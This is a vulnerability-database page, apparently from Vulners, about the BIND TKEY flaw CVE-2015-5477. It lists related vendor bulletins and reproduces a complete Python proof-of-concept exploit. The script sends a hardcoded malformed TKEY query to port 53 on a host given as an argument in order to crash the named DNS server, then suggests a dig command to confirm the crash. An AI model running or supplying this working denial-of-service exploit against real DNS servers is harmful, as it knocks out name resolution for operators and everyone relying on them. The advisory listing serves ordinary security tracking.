| Reporter | Title | Published | Views | Family All 193 |
|---|---|---|---|---|
| BIND9 - TKEY PoC Exploit | 1 Aug 201500:00 | – | zdt | |
| BIND9 TKEY Query Denial of Service Exploit | 4 Aug 201500:00 | – | zdt | |
| ISC BIND9 TKEY Remote DoS PoC | 5 Aug 201500:00 | – | zdt | |
| Security Bulletin: IBM i is affected by networking BIND vulnerabilities CVE-2015-5477 and CVE-2015-4620. | 18 Dec 201914:26 | – | ibm | |
| Security Bulletin: Vulnerability in BIND affects IBM Netezza Host Management (CVE-2015-5477) | 18 Oct 201903:10 | – | ibm | |
| Security Bulletin: Multiple vulnerabilities in NTP, Hivex, glibc, libuser, BIND affect IBM SmartCloud Provisioning for IBM Software Virtual Appliance | 17 Jun 201822:30 | – | ibm | |
| Security fix for the ALT Linux 8 package bind version 9.9.7-alt1 | 28 Jul 201500:00 | – | altlinux | |
| Security fix for the ALT Linux 9 package bind version 9.9.7-alt1 | 28 Jul 201500:00 | – | altlinux | |
| Security fix for the ALT Linux 7 package bind version 9.9.7-alt1 | 28 Jul 201500:00 | – | altlinux | |
| Exploit for CVE-2015-5477 | 31 Jul 201523:29 | – | githubexploit |
`#!/usr/bin/python
# Title: BIND Remote DoS via TKEY queries
# aka: DNS TKEY Query of Death
# Author: Lorenzo Corsini <serdat>
# E-Mail: serdat5[at]gmail[dot]com
# Twitter: https://twitter.com/serdat5tm
# References:
# https://kb.isc.org/article/AA-01272
# https://www.isc.org/blogs/about-cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/
# Warning there is no way to use this PoC in a non-desruptive manner.
# Use with care. I'm not responsible for what you'll do with that
import socket
import sys
#Not randomized.
DNS_PACKET='\x04X\x00\x80\x00\x01\x00\x01\x00\x00\x00\x01\x03xxx\x00\x00\xf9\x00\xff\x03xxx\x00\x00\xf9\x00\xff\x00\x00\x00\x00\x00%\x03xxx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x00\x00\x03xxx\x00\x00\x10\x00\xff\x00\x00\x00\x00\x00%$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
try:
HOST=sys.argv[1]
PORT= 53
except:
print "Usage: %s host_to_crash" & sys.argv[0]
sys.exit(-1)
print "Exploiting target at %s" % HOST
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(DNS_PACKET,(HOST,PORT))
s.close()
print "Check Manually if the exploit worked... try launching:"
print "dig @%s CR4SH3D any" % HOST
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation